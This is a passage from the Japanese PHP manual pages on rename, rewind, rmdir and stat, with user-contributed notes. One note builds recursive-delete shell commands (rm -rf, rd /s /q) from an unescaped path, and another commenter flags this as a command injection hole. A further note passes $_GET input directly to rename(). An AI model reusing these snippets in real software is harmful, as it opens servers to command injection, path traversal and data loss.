                rename($path."\\".$file, strtolower($path."\\".$file));
                getDirectory( "$path/$file", ($level+1) );

            }
            else {
                echo "$spaces $file<br />";
                rename($path."\\".$file, strtolower($path."\\".$file));
            }
        }
    }
    closedir( $dh );
}

getDirectory( $path , 0 )

?>
pcdinh at phpvietnam dot net 29-Jul-2009 09:10
For those who are still confused about the behavior of rename() in Linux and Windows (Windows XP) when target destination exists:

I have tested rename($oldName, $targetName) in PHP 5.3.0 and PHP 5.2.9 on both OS and find that if a file named $targetName does exist before, it will be overwritten with the content of $oldName
andrew at iwebsolutions dot co dot uk 02-Apr-2009 01:36
Note that this WILL NOT WORK if trying to rename a directory to a network share.

e.g.
rename('/home/user/me/dir1', '/mnt/shares/nfsmount/dir2')

will create a file called 'dir2' on the share and not a directory.

This caught me out and my (quickest) solution was to use an exec and mv command:

<?php
$cmd = 'mv "/home/user/me/dir1" "/mnt/shares/nfsmount/dir2"';
exec($cmd, $output, $return_val);

if ($return_val == 0) {
   echo "success";
} else {
   echo "failed";
}
?>
Whooptydoo 07-Jul-2008 09:11
If by any chance you end up with something equivalent to this:

<?php
rename('/foo/bar','/foo/bar');
?>

It returns true. It's not documented.
dev at islam-soft dot com 05-Jan-2007 04:52
- rename extension of files

changeext($directory, $ext1, $ext2, $verbose)

i wrote this function to rename the extention of some files in a folder and sub-folders inside it ..

parameter 1 :  the directory name
parameter 2 :  the first extention wich we want to replace
parameter 3 :  the new extention of files

for a simple usage call the function :
changeext('dir', 'html', 'php',  'false');

to change evry file name with extention html  into php  in the directory  dir

<?php

function changeext($directory, $ext1, $ext2, $verbose = false) {
  $num = 0;
  if($curdir = opendir($directory)) {
   while($file = readdir($curdir)) {
     if($file != '.' && $file != '..') {

       $srcfile = $directory . '/' . $file;
       $string  = "$file";
       $str     = strlen($ext1);
       $str++;
       $newfile = substr($string, 0, -$str);
       $newfile = $newfile.'.'.$ext2;
       $dstfile = $directory . '/' . $newfile;

       if (eregi("\.$ext1",$file)) { # Look at only files with a pre-defined extension
       $fileHand = fopen($srcfile, 'r');
       fclose($fileHand);
       rename($srcfile, $dstfile );
       }

       if(is_dir($srcfile)) {
         $num += changeext($srcfile, $ext1, $ext2, $verbose);
       }
     }
   }
   closedir($curdir);
  }
  return $num;
}

changeext('dir', 'html', 'php',  'false');

?>

to remove the extention of files , just leave the parameter $ext2 blank ''
Eric (Themepark.com) 03-Nov-2006 10:31
This was a fun one-- on Win XP, rename throws a "permission deined" if you try to rename across volumes.. i.e. rename("c:\windows\temp\x.txt", "g:\destination") will fail.
David Thole (root at thedarktrumpet.com) 22-Oct-2006 12:20
As of PHP 5.1.4 compiled on a mac, using rename with spaces one should just use the space.   Take for example:

rename("/tmp/somefile.tar", "/mnt/laptop storage/somefile.tar");

If you use the backslash, like if you were cd-ing to the directory, rename will fail.  Example:

rename("/tmp/somefile.tar", "/mnt/laptop\ storage/somefile.tar");

While not really a bug, it did confuse me for a little bit while working on a backup script.
PHP at Drarok dot com 08-Aug-2006 01:57
As described from the unlink() page:
You have to release any handles to the file before you can rename it (True on Windows, at least).
This will NOT work, you'll receive permission denied errors:
<?php
    $fileHand = fopen('tempFile.txt', 'r');
    rename( 'tempFile.txt', 'tempFile2.txt' ); // Permission Denied!
?>

Simply close the handle to fix this:
<?php
    $fileHand = fopen('tempFile.txt', 'r');
    fclose($fileHand);
    rename( 'tempFile.txt', 'tempFile2.txt' );
?>

This has me scratching my head for some time, as the handle was opened at the top of a marge function, and the rename was at the bottom.
php at froghh dot de 19-Jan-2006 03:00
Remark for "php at stock-consulting dot com"'s note:
This depends on the operating system.
On windows-systems you can't rename a file to an existing destination (ok, with tools you can - but they unlink the exisiting one before).
php at stock-consulting dot com 04-Jan-2006 02:36
rename() fails with PHP4 and PHP5 under Windows if the destination file exists, regardless of file permission settings. I now use a function similar to that of ddoyle [at] canadalawbook [dot] ca, which first tries rename(), checks if it returned FALSE and then uses copy()/unlink() if it failed.

However, copy() is, unlike rename(), NOT useable for "atomic updates". Another process may actually access the destination file while copy() is working. In such a case, the other process with perceive the file as empty or with incomplete content ("half written").
php-public at macfreek dot nl 18-Dec-2005 11:33
It is unclear what encoding the arguments of rename should have; For PHP 4.3, on a HFS+ filesystems, rename() did not handle UTF-8 strings, and returned an error.
tbrillon at gmail dot com 14-Sep-2005 01:27
I needed to move a file to another folder regardless if that file existed in the target already so I wrote a small piece to append a unique number to each file.

$rem = $_GET['file'];
$ticket = uniqid(rand(), true);

rename("$rem", "www/home/storefile/$ticket$rem");

the output looks like this - 6881432893ad4925a1.70147481filename.txt

This also helps if you want different versions of the file stored.
ddoyle [at] canadalawbook [dot] ca 07-Sep-2005 03:35
rename() definitely does not follow the *nix rename convention on WinXP with PHP 5.  If the $newname exists, it will return FALSE and $oldname and $newname will remain in their original state.  You can do something like this instead:

function rename_win($oldfile,$newfile) {
   if (!rename($oldfile,$newfile)) {
      if (copy ($oldfile,$newfile)) {
         unlink($oldfile);
         return TRUE;
      }
      return FALSE;
   }
   return TRUE;
}
tomfelker at gmail dot com 11-Aug-2005 02:51
Actually, I'm pretty sure that rename follows the convention of *nix rename(2) in overwriting the destination if it exists atomically (meaning that no other process will see the destination cease to exist, even for an instant).  This is useful because it allows you to build a file as a temp file, then rename it to where you want it to be, and nobody sees the file when it's half done.

Probably rename($old, $new) with an existing new was caused by permission problems.  I bet the other problems you had were the result of not calling clearstatcache(), which can cause PHP to act like a file exists though it has since been deleted.
sophie at sitadelle dot com 14-Nov-2003 08:22
Hello!
For unix/linux users: it is usefull to know that if you use rename() for a directory, the new one will be created with the current umask!
pearcec at commnav dot com 15-Jun-2001 01:17
If you rename one directory to another where the second directory exists as an empty directory it will not complain.

Not what I expected.

[pearcec@abe tmp]$ mkdir test1
[pearcec@abe tmp]$ mkdir test2
[pearcec@abe tmp]$ touch test1/test
[pearcec@abe tmp]$ php
<?php
rename("test1","test2");
?>
X-Powered-By: PHP/4.0.5
Content-type: text/html

[pearcec@abe tmp]$ ls -al
total 12
drwxr-xr-x    3 pearcec  commnav      4096 Jun 15 13:17 .
drwxr-xr-x   18 pearcec  commnav      4096 Jun 15 13:15 ..
drwxr-xr-x    2 pearcec  commnav      4096 Jun 15 13:16 test2
[pearcec@abe tmp]$ ls -la test2/
total 8
drwxr-xr-x    2 pearcec  commnav      4096 Jun 15 13:16 .
drwxr-xr-x    3 pearcec  commnav      4096 Jun 15 13:17 ..
-rw-r--r--    1 pearcec  commnav         0 Jun 15 13:16 test
[pearcec@abe tmp]$
michael-nospam at sal dot mik dot hyperlink dot net dot au 24-Nov-1999 11:43
Note, that on Unix, a rename is a beautiful way of getting atomic updates to files.

Just copy the old contents (if necessary), and write the new contents into a new file, then rename over the original file.

Any processes reading from the file will continue to do so, any processes trying to open the file while you're writing to it will get the old file (because you'll be writing to a temp file), and there is no "intermediate" time between there being a file, and there not being a file (or there being half a file).

Oh, and this only works if you have the temp file and the destination file on the same filesystem (eg. partition/hard-disk).


ファイルポインタの位置を先頭に戻す

  • ≪ rename
  • rmdir ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルポインタの位置を先頭に戻す

rewind

(PHP 4, PHP 5, PHP 7, PHP 8)

rewind — ファイルポインタの位置を先頭に戻す

説明

rewind ( resource $stream ) : bool

stream のファイル位置指示子を、 ファイルストリームの先頭にセットします。

注意:

追記モード ("a" もしくは "a+") でファイルをオープンした場合、 ファイルのポインターの位置とは無関係に、 ファイルに書き込まれるデータは常に追加されます。

パラメータ

stream

ファイルポインタは有効なものでなければならず、 また fopen() で正常にオープンされたファイルを指している必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 rewind() での上書きの例

<?php
$handle = fopen('output.txt', 'r+');

fwrite($handle, 'Really long sentence.');
rewind($handle);
fwrite($handle, 'Foo');
rewind($handle);

echo fread($handle, filesize('output.txt'));

fclose($handle);
?>

上の例の出力は、 たとえば以下のようになります。

Foolly long sentence.

参考

  • fread() - バイナリセーフなファイルの読み込み
  • fseek() - ファイルポインタを移動する
  • ftell() - ファイルの読み書き用ポインタの現在位置を返す
  • fwrite() - バイナリセーフなファイル書き込み処理

User Contributed Notes

MagicalTux at kinoko dot fr 26-Nov-2007 10:53
Note that rewind($fd) is exactly the same as fseek($fd, 0, SEEK_SET)

rewind() just moves the location inside the file to the beginning, nothing more. Check if your stream is "seekable" before planning to use fseek/rewind.


ディレクトリを削除する

  • ≪ rewind
  • set_file_buffer ≫
  • PHP Manual
  • ファイルシステム 関数
  • ディレクトリを削除する

rmdir

(PHP 4, PHP 5, PHP 7, PHP 8)

rmdir — ディレクトリを削除する

説明

rmdir ( string $dirname , resource $context = ? ) : bool

dirnameで指定されたディレクトリを 削除しようと試みます。ディレクトリは空でなくてはならず、また 適切なパーミッションが設定されていなければなりません。 失敗した場合は E_WARNING レベルのエラーが発生します。

パラメータ

dirname

ディレクトリへのパス。

context

注意: コンテキストのサポートは、 PHP 5.0.0 で追加されました。contexts の説明に関しては、 ストリーム を参照してください。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 rmdir() の例

<?php
if (!is_dir('examples')) {
    mkdir('examples');
}

rmdir('examples');
?>

参考

  • is_dir() - ファイルがディレクトリかどうかを調べる
  • mkdir() - ディレクトリを作る
  • unlink() - ファイルを削除する

User Contributed Notes

anonymous_user 12-Feb-2021 02:48
// Recursive PHP function to completely remove a directory

function delete_directory_recursively( $path ) {

      $dir = new \DirectoryIterator( $path );

      // Iterate through the subdirectories / files of the provided directory
      foreach ( $dir as $dir_info ) {

        // Exclude the . (current directory) and .. (parent directory) paths
        // from the directory iteration
        if ( ! $dir_info->isDot() ) {

          // Get the full currently iterated path
          $iterated_path = $dir_info->getPathname();

          // If the currently iterated path is a directory
          if ( $dir_info->isDir() ) {

            // which is not empty (in which case scandir returns an array of not 2 (. and ..) elements)
            if ( count( scandir( $iterated_path ) ) !== 2 ) {

              // Call the function recursively
              self::remove_directory_recursively( $iterated_path );

            } else {

              // if the currently iterated path is an empty directory, remove it
              rmdir( $iterated_path );

            }

          } elseif ( $dir_info->isFile() ) {

            // If the currently iterated path describes a file, we need to
            // delete that file
            unlink( $iterated_path );

          }

        } // loop which opens if the currently iterated directory is neither . nor ..

      } // end of iteration through directories / files of provided path

      // After iterating through the subpaths of the provided path, remove the
      // concerned path
      rmdir( $path );

    } // end of delete_directory_recursively() function definition
mmakshita2398 at gmail dot com 08-Mar-2019 08:19
it Will Delete All Fildes in folder and that folder too...

echo $path = 'D:\xampp\htdocs\New folder\New folder';

function rmdir_recursive($dir) {
    $it = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
    $it = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
    foreach($it as $file) {
        if ($file->isDir()) rmdir($file->getPathname());
        else unlink($file->getPathname());
    }
    rmdir($dir);
}
rmdir_recursive($path);
Anonymous 25-Sep-2016 10:44
itay at itgoldman's function falls into an infinite loop if the $src directory doesn't exist.
Here's a fix - one should do at least a file_exists() check before the loop:

function rrmdir($src) {
    if (file_exists($src)) {
        $dir = opendir($src);
        while (false !== ($file = readdir($dir))) {
            if (($file != '.') && ($file != '..')) {
                $full = $src . '/' . $file;
                if (is_dir($full)) {
                    rrmdir($full);
                } else {
                    unlink($full);
                }
            }
        }
        closedir($dir);
        rmdir($src);
    }
}

Thanks to itay for the original function, though, it was helpful.
YAPs 03-Jul-2016 09:48
This version delete tree

<?PHP

if(!defined('DS'))define("DS",DIRECTORY_SEPARATOR);

function delTree($folder,$del_root=true)
{
    $folder=trim($folder,DS).DS;
    $f=glob($folder.'*',GLOB_MARK);
    if(count($f)>0)
        foreach($f as $e)
        {
            if(is_dir($e))
                delTree($e);
            else
                unlink($e);
        }
        if($del_root)
            rmdir($folder);
        if(!file_exists($folder))
            return $folder." is deleted";
        else
            return $folder." not deleted";
}
?>
frederico05 dot figueira at gmail dot com 12-May-2016 02:00
//This is one example to delete full directory with all files inside there

function delDir($path){
        if(is_dir($path) == TRUE){
            $rootFolder = scandir($path);
            if(sizeof($rootFolder) > 2){
                foreach($rootFolder as $folder){
                    if($folder != "." && $folder != ".."){
//Pass the subfolder to function
                        delDir($path."/".$folder);
                    }
                }
//On the end of foreach the directory will be cleaned, and you will can use rmdir, to remove it
                rmdir($path);
            }
        }else{
            if(file_exists($path) == TRUE){
                unlink($path);
            }
        }
    }
dj dot thd at hotmail dot com 11-Feb-2016 09:16
Never ever use jurchiks101 at gmail dot com code!!! It contains command injection vulnerability!!!
If you want to do it that way, use something like this instead:

<?php
if (PHP_OS === 'Windows')
{
    exec(sprintf("rd /s /q %s", escapeshellarg($path)));
}
else
{
    exec(sprintf("rm -rf %s", escapeshellarg($path)));
}
?>

Note the escapeshellarg usage to escape any possible unwanted character, this avoids putting commands in $path variable so the possibility of someone "pwning" the server with this code
itay at itgoldman dot com 26-May-2015 05:07
some implementations of recursive folder delete don't work so well (some give warnings, other don't delete hidden files etc).

this one is working fine:
<?php

function rrmdir($src) {
    $dir = opendir($src);
    while(false !== ( $file = readdir($dir)) ) {
        if (( $file != '.' ) && ( $file != '..' )) {
            $full = $src . '/' . $file;
            if ( is_dir($full) ) {
                rrmdir($full);
            }
            else {
                unlink($full);
            }
        }
    }
    closedir($dir);
    rmdir($src);
}

?>
wolfoneil at gmx.de 26-Jan-2015 08:31
I was working on some Dataoperation, and just wanted to share an OOP method with you.

It just removes any contents of a Directory but not the target Directory itself! Its really nice if you want to clean a BackupDirectory or Log.

Also you can test on it if something went wrong or if it just done its Work!

I have it in a FileHandler class for example, enjoy!

<?php

  public function deleteContent($path){
      try{
        $iterator = new DirectoryIterator($path);
        foreach ( $iterator as $fileinfo ) {
          if($fileinfo->isDot())continue;
          if($fileinfo->isDir()){
            if(deleteContent($fileinfo->getPathname()))
              @rmdir($fileinfo->getPathname());
          }
          if($fileinfo->isFile()){
            @unlink($fileinfo->getPathname());
          }
        }
      } catch ( Exception $e ){
         // write log
         return false;
      }
      return true;
    }

?>
ahmadmarafa at gmail dot com 01-Oct-2014 10:32
function unlinkDir($dir)
{
    $dirs = array($dir);
    $files = array() ;
    for($i=0;;$i++)
    {
        if(isset($dirs[$i]))
            $dir =  $dirs[$i];
        else
            break ;

        if($openDir = opendir($dir))
        {
            while($readDir = @readdir($openDir))
            {
                if($readDir != "." && $readDir != "..")
                {

                    if(is_dir($dir."/".$readDir))
                    {
                        $dirs[] = $dir."/".$readDir ;
                    }
                    else
                    {

                        $files[] = $dir."/".$readDir ;
                    }
                }
            }

        }

    }

    foreach($files as $file)
    {
        unlink($file) ;

    }
    $dirs = array_reverse($dirs) ;
    foreach($dirs as $dir)
    {
        rmdir($dir) ;
    }

}
Baraka Mghumba 27-Aug-2014 06:42
Works fine, tested on PHP 5.4(EasyPHP server)
function deletedir($dir)
    {
        if (is_dir($dir))
        {
            $files = scandir($dir);
            foreach ($files as $file)
            {
                if ($file != "." && $file != "..")
                {
                    if (filetype($dir."/".$file) == "dir")
                    {
                        $this->deletedir($dir."/".$file);
                    }
                    else
                    {
                        unlink($dir."/".$file);
                    }
                }
            }
            reset($objects);
            if(rmdir($dir))
            {
                return 'deleted successfully!';
            }
            else
            {
                return 'delete failed!';
            }
        }
        else
        {
            return 'doesn\'t exist or inaccessible!';
        }
    }
Something to note:
You have to take care of file permission if necessary
jurchiks101 at gmail dot com 22-Aug-2014 12:41
This function sorely needs a built-in option to delete the contents of the directory. Or another function that does exactly that - deletes a path (file or folder, doesn't matter).
It is still much simpler to just use something like the following to delete any directory rather than write some 10+ line function that has corner cases that will break it:
<?php
if (PHP_OS === 'Windows')
{
    exec("rd /s /q {$path}");
}
else
{
    exec("rm -rf {$path}");
}
?>
Most webservers are run on 2 or 3 different popular operating systems, so this would easily work for almost all websites.
tuxedobob 21-May-2014 07:13
Keep in mind that if you know what your host OS is, you can always just call the appropriate system call using exec() or the like. For example:

exec('rmdir folder-to-delete /s /q'); //windows
exec('rmdir -rf folder-to-delete'); //OS X/*nix?
lprent at primary dot geek dot nz 21-Jan-2014 10:10
It is rather dangerous to recurse into symbolically linked directories. The delTree should be modified to check for links.

<?php
public static function delTree($dir) {
   $files = array_diff(scandir($dir), array('.','..'));
    foreach ($files as $file) {
      (is_dir("$dir/$file") && !is_link($dir)) ? delTree("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
  }
?>
nbari at dalmp dot com 28-Oct-2012 10:36
Glob function doesn't return the hidden files, therefore scandir can be more useful, when trying to delete recursively a tree.

<?php
public static function delTree($dir) {
   $files = array_diff(scandir($dir), array('.','..'));
    foreach ($files as $file) {
      (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
  }
?>
Chris Wren 01-Sep-2012 08:29
I also ran into the permissions issue in Windows when deleting a folder and the solution was to close all editors which had files opened which were located in the folder structure.
longears at BLERG dot gmail dot com 29-Mar-2012 07:10
Concise way to recursively remove a directory:

<?php
# recursively remove a directory
function rrmdir($dir) {
    foreach(glob($dir . '/*') as $file) {
        if(is_dir($file))
            rrmdir($file);
        else
            unlink($file);
    }
    rmdir($dir);
}
?>
thomas 21-Nov-2011 12:44
Function deleteAll given by O S on 18-Jun-2010 11:30 will fail at line

while ($contents = readdir($directoryHandle)) {...

if a folder named 0 (zero) is found during traversing the hierarchy
shane dot ray87 at gmail dot com 08-Aug-2011 01:50
This issue has been driving me nuts for hours.

I am running PHP on IIS, I had the wincache module installed, when running a recursive delete a certain folder would get "stuck" and throw permissions errors.  I was not able to delete them with PHP or in windows itself.  The only way to delete the folder was to wait 5 min and run the script again, or stop the IIS server and the folder would delete on its own.  Disabling the wincachce module resolved the issue.

Hope this helps.
samy dot see at gmail dot com 27-Jun-2011 03:38
if you get this problem Permission denied in windows testing your site maybe this will resolve the problem

<?php
if(file_exists($path.'/Thumbs.db')){
    unlink($path.'/Thumbs.db');
}
?>

and then

<?php rmdir($path); ?>
holger1 at NOSPAMzentralplan dot de 26-Jun-2010 02:00
Another simple way to recursively delete a directory that is not empty:

<?php
 function rrmdir($dir) {
   if (is_dir($dir)) {
     $objects = scandir($dir);
     foreach ($objects as $object) {
       if ($object != "." && $object != "..") {
         if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object);
       }
     }
     reset($objects);
     rmdir($dir);
   }
 }
?>
O S 18-Jun-2010 03:30
This isn't my code, but just thought I would share, since it took me so long to find. This is a function to delete a folder, all sub-folders, and files in one clean move.

Just tell it what directory you want deleted, in relation to the page that this function is executed. Then set $empty = true if you want the folder just emptied, but not deleted. If you set $empty = false, or just simply leave it out, the given directory will be deleted, as well.

<?php
function deleteAll($directory, $empty = false) {
    if(substr($directory,-1) == "/") {
        $directory = substr($directory,0,-1);
    }

    if(!file_exists($directory) || !is_dir($directory)) {
        return false;
    } elseif(!is_readable($directory)) {
        return false;
    } else {
        $directoryHandle = opendir($directory);

        while ($contents = readdir($directoryHandle)) {
            if($contents != '.' && $contents != '..') {
                $path = $directory . "/" . $contents;

                if(is_dir($path)) {
                    deleteAll($path);
                } else {
                    unlink($path);
                }
            }
        }

        closedir($directoryHandle);

        if($empty == false) {
            if(!rmdir($directory)) {
                return false;
            }
        }

        return true;
    }
}
?>
info at top-info dot org 28-Apr-2010 04:15
The function delTree is dangerous when you dont take really care. I for example always deleted a temporary directory with it. Everthing went fine until the moment where the var containing this temporary directory wasnt set. The var didnt contain the path but an empty string. The function delTree  was called and deleted all the files at my host!
So dont use this function when you dont have a proper handling coded. Dont think about using this function only for testing without such a handling.
Luckily nothing is lost because I had the local copy...
steffen at wirsching-idstein dot de 16-Jan-2010 05:40
Say, you're working on Windows and continue to get a permission's error without a reason. Then it may be that a different Windows program is working on the folder (see earlier notes also). In the case that you can't find that program, the line

<?php closedir(opendir($dirname)); ?>

may solve the problem!
Make sure to write this before rmdir($dirname);.
omikrosys at gmail dot com 08-Oct-2009 09:52
Sometimes you would face situations in which rmdir($dirname) would give "permission denied" errors though you may have changed $dirname permissions. In such situations just change the permissions of the directory which contains $dirname and rmdir($dirname) would work like a charm.
Say you use rmdir('dirr'); then change the permissions of the folder that contains 'dirr'.
kevin at web-power dot co dot uk 02-Oct-2009 05:51
I had situation where the rmdir was returning warning message as within last loop it was already removed. So here is quick fix by adding is_dir to the DelTree routine below

<?php
function delTree($dir) {
    $files = glob( $dir . '*', GLOB_MARK );
    foreach( $files as $file ){
        if( substr( $file, -1 ) == '/' )
            delTree( $file );
        else
            unlink( $file );
    }

    if (is_dir($dir)) rmdir( $dir );

}
?>
bcairns at gmail dot com 02-Aug-2009 09:59
I wasn't having much luck with the recursive delete functions below, so I wrote my own:

<?php
// ensure $dir ends with a slash
function delTree($dir) {
    $files = glob( $dir . '*', GLOB_MARK );
    foreach( $files as $file ){
        if( substr( $file, -1 ) == '/' )
            delTree( $file );
        else
            unlink( $file );
    }
    rmdir( $dir );
}
?>

Simple.  Works.
asn at asn24 dot dk 06-Jul-2009 09:08
A patch to previous script to make sure rights for deletion is set:

<?php
//Delete folder function
function deleteDirectory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir) || is_link($dir)) return unlink($dir);
        foreach (scandir($dir) as $item) {
            if ($item == '.' || $item == '..') continue;
            if (!deleteDirectory($dir . "/" . $item)) {
                chmod($dir . "/" . $item, 0777);
                if (!deleteDirectory($dir . "/" . $item)) return false;
            };
        }
        return rmdir($dir);
    }
?>

[EDITOR NOTE: "Credits to erkethan at free dot fr." - thiago]
TrashF at taistelumarsu dot org 08-Aug-2008 03:21
In case you're trying to rmdir() and you keep getting 'Permission denied' errors, make sure you don't have the directory still open after using opendir(). Especially when writing recursive functions for deleting directories, make sure you have closedir() BEFORE rmdir().
rn at clubfl dot com 18-Dec-2007 10:16
I've noticed that when using this command on a windows platform you may encounter a permissions error which may seem unwarranted. This commonly occurs if you are or were using a program to edit something in the to be deleted folder and either the item is still in the folder or the program that was accessing the file in that folder is still running(causing it to hold onto the folder).

SO... if you get a permissions error and there shouldn't be an issue with folder permissions check if there are files in there then check if there is a program running that is or was using a file that was in that folder and kill it.


stream_set_write_buffer のエイリアス

  • ≪ rmdir
  • stat ≫
  • PHP Manual
  • ファイルシステム 関数
  • stream_set_write_buffer のエイリアス

set_file_buffer

(PHP 4, PHP 5, PHP 7, PHP 8)

set_file_buffer — stream_set_write_buffer() のエイリアス

説明

この関数は次の関数のエイリアスです。 stream_set_write_buffer().

User Contributed Notes

There are no user contributed notes for this page.


ファイルに関する情報を取得する

  • ≪ set_file_buffer
  • symlink ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルに関する情報を取得する

stat

(PHP 4, PHP 5, PHP 7, PHP 8)

stat — ファイルに関する情報を取得する

説明

stat ( string $filename ) : array|false

filenameで指定されたファイルに ついての統計情報を取得します。 filename がシンボリックリンクの場合、 シンボリックリンクではなくファイルの実体の統計情報が返されます。 Windows 環境、かつ PHP 7.4.0 より前の NTS ビルドでは、 size, atime, mtime, ctime の統計情報は、シンボリックリンクの値が返されていました。

lstat() はシンボリックリンクの統計情報を返すという違いを除いて stat() と等価です。

パラメータ

filename

ファイルへのパス。

返り値

stat() と fstat() の結果のフォーマット
数値 | 連想配列 | 説明
0 | dev | デバイス番号 (***)
1 | ino | inode 番号(****)
2 | mode | inode プロテクトモード
3 | nlink | リンク数
4 | uid | 所有者のユーザー ID(*)
5 | gid | 所有者のグループ ID(*)
6 | rdev | inode デバイス の場合、デバイスの種類
7 | size | バイト単位のサイズ
8 | atime | 最終アクセス時間 (Unix タイムスタンプ)
9 | mtime | 最終修正時間 (Unix タイムスタンプ)
10 | ctime | 最終 inode 変更時間 (Unix タイムスタンプ)
11 | blksize | ファイル IO のブロックサイズ(**)
12 | blocks | 512 バイトのブロックの確保数(**)

* Windows では常に 0 となります。

** st_blksize タイプをサポートするシステムでのみ有効です。 その他のシステム(例えば Windows)では -1 を返します。

*** PHP 7.4.0 以降、Windows では、この値はファイルが含まれるボリュームのシリアル番号です。 これは64ビットの 符号なし 整数です。 よって、オーバーフローする可能性があります。 これより前のバージョンでは、stat() 関数ではドライブレターを数値で表現した値 (たとえば、C: では 2) でした。 lstat() 関数では 0 でした。

**** PHP 7.4.0 以降、Windows では、この値はファイルに関連付けられた識別子です。 これは64ビットの 符号なし 整数です。 よって、オーバーフローする可能性があります。 これより前のバージョンでは、この値は常に 0 でした。

mode の値は、複数の関数によって読まれる情報が含まれています。 8進数の場合、一番右の桁から評価され、はじめの3桁が chmod() によって返されます。 次の桁は PHP によって無視されます。その次の2桁は以下のファイルタイプを示します:

mode のファイルタイプ
mode が8進数だった場合 | 意味
0140000 | ソケット
0120000 | リンク
0100000 | 通常のファイル
0060000 | ブロックデバイス
0040000 | ディレクトリ
0020000 | キャラクタデバイス
0010000 | fifo
よって、たとえば 通常のファイルは 0100644 のような値になりますし、 ディレクトリは 0040755 のような値になります。

stat() はエラーの場合 false を返します。

注意: PHP の数値型は符号付整数であり、 多くのプラットフォームでは 32 ビットの整数を取るため、 ファイルシステム関数の中には 2GB より大きなファイルについては期待とは違う値を返すものがあります。

エラー / 例外

失敗した場合は E_WARNING が発生します。

変更履歴

バージョン | 説明
7.4.0 | Windows では、 デバイス番号は、ファイルが含まれるボリュームのシリアル番号を返すようになりました。 そして、inode 番号は、ファイルに関連付けられた識別子を返すようになりました。
7.4.0 | シンボリックリンクの場合、 size, atime, mtime, ctime の統計情報は、ファイルの実体の値が返されるようになりました。 これより前のバージョンの Windows NTS ビルドはそうではありませんでした。

例

例1 stat() の例

<?php
/* ファイルの状態を取得します */
$stat = stat('C:\php\php.exe');

/*
 * ファイルのアクセス日時を表示します。
 * これは fileatime() をコールするのと同じです
 */
echo 'アクセス日時: ' . $stat['atime'];

/*
 * ファイルの更新日時を表示します。
 * これは filemtime() をコールするのと同じです
 */
echo '更新日時: ' . $stat['mtime'];

/* デバイス番号を表示します */
echo 'デバイス番号: ' . $stat['dev'];
?>

例2 stat() の情報を touch() と組み合わせる例

<?php
/* ファイルの状態を取得します */
$stat = stat('C:\php\php.exe');

/* 情報の取得に失敗した? */
if (!$stat) {
    echo 'stat() のコールに失敗しました...';
} else {
    /*
     * アクセス日時を、現在のアクセス日時の
     * 一週間後に設定します
     */
    $atime = $stat['atime'] + 604800;

    /* ファイルを作成します */
    if (!touch('some_file.txt', time(), $atime)) {
        echo 'ファイルの作成に失敗しました...';
    } else {
        echo 'touch() が成功しました...';
    }
}
?>

注意

注意:

時刻の精度は、 ファイルシステムによって異なることがあります。

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • lstat() - ファイルあるいはシンボリックリンクの情報を取得する
  • fstat() - オープンしたファイルポインタからファイルに関する情報を取得する
  • filemtime() - ファイルの更新時刻を取得する
  • filegroup() - ファイルのグループを取得する
  • SplFileInfo

User Contributed Notes

Ray.Paseur sometimes uses Gmail 13-Feb-2021 02:49
A good explanation of the "mode" bits is given here:
https://www.php.net/manual/en/function.fileperms.php
carlos [at] encore-lab [dot] com 03-Nov-2014 02:47
stat() may not work on mounted CIFS' in 32 bit systems if you do not specify the option noserverino when mounting. E.g:

mount -t cifs -o user="user",password="password",noserverino //example.local/share /mnt/mount-point

Other functions based on stat() data such as file time functions and is_dir() are affected the same way.

This happens because if you do not specify the option noserverino the remote inode may be 64 bit-based and thus the local system cannot handle it.
webmaster at askapache dot com 22-Jan-2014 05:16
On GNU/Linux you can retrieve the number of currently running processes on the machine by doing a stat for hard links on the '/proc' directory like so:

$ stat -c '%h' /proc
118

You can do the same thing in php by doing a stat on /proc and grabbing the [3] 'nlink' - number of links in the returned array.

Here is the function I'm using, it does a clearstatcache() when called more than once.

<?php

/**
 * Returns the number of running processes
 *
 * @link http://php.net/clearstatcache
 * @link http://php.net/stat  Description of stat syntax.
 * @author http://www.askapache.com/php/get-number-running-proccesses.html
 * @return int
 */
function get_process_count() {
  static $ver, $runs = 0;

  // check if php version supports clearstatcache params, but only check once
  if ( is_null( $ver ) )
    $ver = version_compare( PHP_VERSION, '5.3.0', '>=' );

  // Only call clearstatcache() if function called more than once */
  if ( $runs++ > 0 ) { // checks if $runs > 0, then increments $runs by one.

    // if php version is >= 5.3.0
    if ( $ver ) {
      clearstatcache( true, '/proc' );
    } else {
      // if php version is < 5.3.0
      clearstatcache();
    }
  }

  $stat = stat( '/proc' );

  // if stat succeeds and nlink value is present return it, otherwise return 0
  return ( ( false !== $stat && isset( $stat[3] ) ) ? $stat[3] : 0 );
}

?>

Example #1 get_process_count() example

<?php
$num_procs = get_process_count();
var_dump( $num_procs );
?>

The above example will output:

int(118)

Which is the number of processes that were running.
digitalaudiorock at hotmail dot com 12-Dec-2008 08:23
Regarding the stat() on files larger than 2GB on 32 bit systems not working, note that the behavior appears to differ between Linux and Windows.  Under Windows there's so way to know whether or not this failed.

It's been my experience that under Linux, performing a stat() on files that are too large for the integer size generates a warning and returns false.  However under Windows it silently truncates the high order bits of the size resulting in an incorrect number.  The only way you'd ever know it failed is in the event that the truncation happened to leave the sign bit on resulting in a negative size.  That is, there is _no_ reliable way to know it failed.

This is true of filesize() as well.

Tom
webmaster at askapache dot com 26-Nov-2008 01:20
This is a souped up 'stat' function based on
many user-submitted code snippets and
@ http://www.askapache.com/security/chmod-stat.html

Give it a filename, and it returns an array like stat.

<?php

function alt_stat($file) {

 clearstatcache();
 $ss=@stat($file);
 if(!$ss) return false; //Couldnt stat file

 $ts=array(
  0140000=>'ssocket',
  0120000=>'llink',
  0100000=>'-file',
